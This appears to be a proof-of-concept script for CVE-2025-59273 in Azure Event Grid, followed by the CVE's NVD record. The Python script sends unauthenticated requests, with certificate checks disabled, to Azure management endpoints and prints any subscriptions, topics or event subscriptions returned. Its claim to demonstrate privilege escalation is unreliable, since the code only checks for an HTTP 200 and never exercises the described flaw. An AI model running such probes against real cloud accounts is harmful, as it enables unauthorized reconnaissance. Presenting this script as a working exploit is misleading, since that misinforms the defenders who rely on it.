CVE-2025-59273

# CVE-2025-59273 Azure Event Grid Privilege Escalation PoC # Description: Improper access control in Azure Event Grid allows unauthorized privilege escalation import requests import json def check_vulnerability(): """Check if Azure Event Grid subscription enumeration is vulnerable""" # Target Azure Event Grid API endpoints targets = [ "https://management.azure.com/subscriptions?api-version=2020-06-01", "https://management.azure.com/providers/Microsoft.EventGrid/topics?api-version=2020-10-15", "https://management.azure.com/providers/Microsoft.EventGrid/eventSubscriptions?api-version=2020-10-15" ] headers = { "User-Agent": "Azure-SDK/1.0", "Content-Type": "application/json" } print("[*] CVE-2025-59273 Azure Event Grid Access Control Vulnerability Check") print("[*] Target: Azure Event Grid") print("[*] Vulnerability: Improper Access Control (Privilege Escalation)") print("-" * 60) for target in targets: try: print(f"\n[+] Testing endpoint: {target}") # Send request without authentication (PR:N - No Privileges Required) response = requests.get(target, headers=headers, timeout=10, verify=False) print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: data = response.json() if "value" in data: print(f"[!] VULNERABLE: Unauthorized access to {target}") print(f"[*] Found {len(data['value'])} accessible resources") for resource in data['value'][:5]: # Show first 5 print(f" - {resource.get('name', 'Unknown')}") elif response.status_code == 401: print(f"[-] NOT VULNERABLE: Authentication required") else: print(f"[*] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") print("\n[*] Note: This PoC demonstrates the access control issue.") print("[*] Actual exploitation requires Azure environment context.") if __name__ == "__main__": check_vulnerability()

{"cve": {"id": "CVE-2025-59273", "sourceIdentifier": "[email protected]", "published": "2025-10-23T22:15:47.100", "lastModified": "2025-10-28T13:28:03.223", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper access control in Azure Event Grid allows an unauthorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_event_grid:-:*:*:*:*:*:*:*", "matchCriteriaId": "7EAF4D00-9850-4374-BC27-6AD51F8CE7C3"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59273", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}